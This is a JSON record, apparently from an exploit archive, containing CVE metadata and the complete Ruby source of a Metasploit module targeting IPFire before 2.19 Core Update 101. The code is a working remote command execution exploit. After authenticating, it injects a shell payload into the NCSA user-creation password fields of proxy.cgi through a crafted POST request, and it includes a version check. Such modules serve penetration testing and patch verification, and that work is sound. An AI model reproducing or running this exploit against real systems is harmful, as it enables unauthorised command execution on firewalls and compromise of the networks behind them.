{"exploit":{"id":"MSF-linux--http--ipfire_proxy_exec","name":"IPFire proxy.cgi RCE","description":"IPFire, a free linux based open source firewall distribution, version < 2.19 Update Core 101 contains a remote command execution vulnerability in the proxy.cgi page.","cves":["CVE-2025-34116"],"author":"h00die, Yann CAM","published":"2016-05-04","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/ipfire_proxy_exec.rb","path":"modules/exploits/linux/http/ipfire_proxy_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"ipfire_proxy_exec.rb","vulnerabilities":[{"id":"CVE-2025-34116","state":"PUBLISHED","title":"IPFire < 2.19 Core Update 101 proxy.cgi RCE","titleSource":"CVE Program","description":"A remote command execution vulnerability exists in IPFire before version 2.19 Core Update 101 via the 'proxy.cgi' CGI interface. An authenticated attacker can inject arbitrary shell commands through crafted values in the NCSA user creation form fields, leading to command execution with web server privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-34116","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-34116"},"updatedAt":"2026-05-15T11:14:46.343Z","retrievedAt":"2026-11-26T13:10:12.614Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--ipfire_proxy_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--ipfire_proxy_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--ipfire_proxy_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--ipfire_proxy_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  include Msf::Exploit::Remote::HttpClient\n\n  Rank = ExcellentRanking\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'IPFire proxy.cgi RCE',\n        'Description' => %q{\n          IPFire, a free linux based open source firewall distribution,\n          version < 2.19 Update Core 101 contains a remote command execution\n          vulnerability in the proxy.cgi page.\n        },\n        'Author' => [\n          'h00die <mike@stcyrsecurity.com>', # module\n          'Yann CAM' # discovery\n        ],\n        'References' => [\n          [ 'CVE', '2025-34116' ],\n          [ 'EDB', '39765' ],\n          [ 'URL', 'https://www.ipfire.org/news/ipfire-2-19-core-update-101-released']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Privileged' => false,\n        'DefaultOptions' => { 'SSL' => true },\n        'Arch' => [ ARCH_CMD ],\n        'Payload' => {\n          'Compat' =>\n            {\n              'PayloadType' => 'cmd',\n              'RequiredCmd' => 'perl awk openssl'\n            }\n        },\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2016-05-04',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),\n        OptString.new('PASSWORD', [ false, 'Password to login with', '']),\n        Opt::RPORT(444)\n      ], self.class\n    )\n  end\n\n  def check\n    begin\n      res = send_request_cgi(\n        'uri' => '/cgi-bin/pakfire.cgi',\n        'method' => 'GET'\n      )\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\") if res.code != 200\n      /\\<strong\\>IPFire (?<version>[\\d.]{4}) \\([\\w]+\\) - Core Update (?<update>[\\d]+)/ =~ res.body\n\n      if version && update && version == \"2.19\" && update.to_i < 101\n        Exploit::CheckCode::Appears(\"Version #{version} appears to be vulnerable\")\n      else\n        Exploit::CheckCode::Safe(\"Version #{version} is not vulnerable\")\n      end\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n    end\n  end\n\n  def exploit\n    begin\n      # To manually view the vuln page, click to proxy.cgi.  At the bottom\n      # select Local, and save. Ignore the error box, at the bottom of\n      # the page click the button: User Management.\n\n      payload_formatted = \"||#{payload.encoded};#\"\n      post_data = \"NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}\"\n      post_data << \"&NCSA_GROUP=standard\"\n      post_data << \"&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}\"\n      post_data << \"&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}\"\n      post_data << \"&SUBMIT=Create+user\"\n      post_data << \"&ACTION=Add\"\n      post_data << \"&NCSA_MIN_PASS_LEN=6\"\n\n      res = send_request_cgi(\n        'uri' => '/cgi-bin/proxy.cgi',\n        'method' => 'POST',\n        'ctype' => 'application/x-www-form-urlencoded',\n        'headers' =>\n          {\n            'Referer' => \"https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi\"\n          },\n        'data' => post_data\n      )\n\n      # success means we hang our session, and wont get back a response\n      if res\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\") if res.code != 200\n      end\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n    end\n  end\nend\n","sha256":"b37a5be8daf2c447d1bfe7ba65e66ea4d660575118ba0fce9d04a38a15ffae62","bytes":4139,"fetchedAt":"2026-11-26T13:10:12.473Z","encoding":"utf-8 (display only; download retains original bytes)"}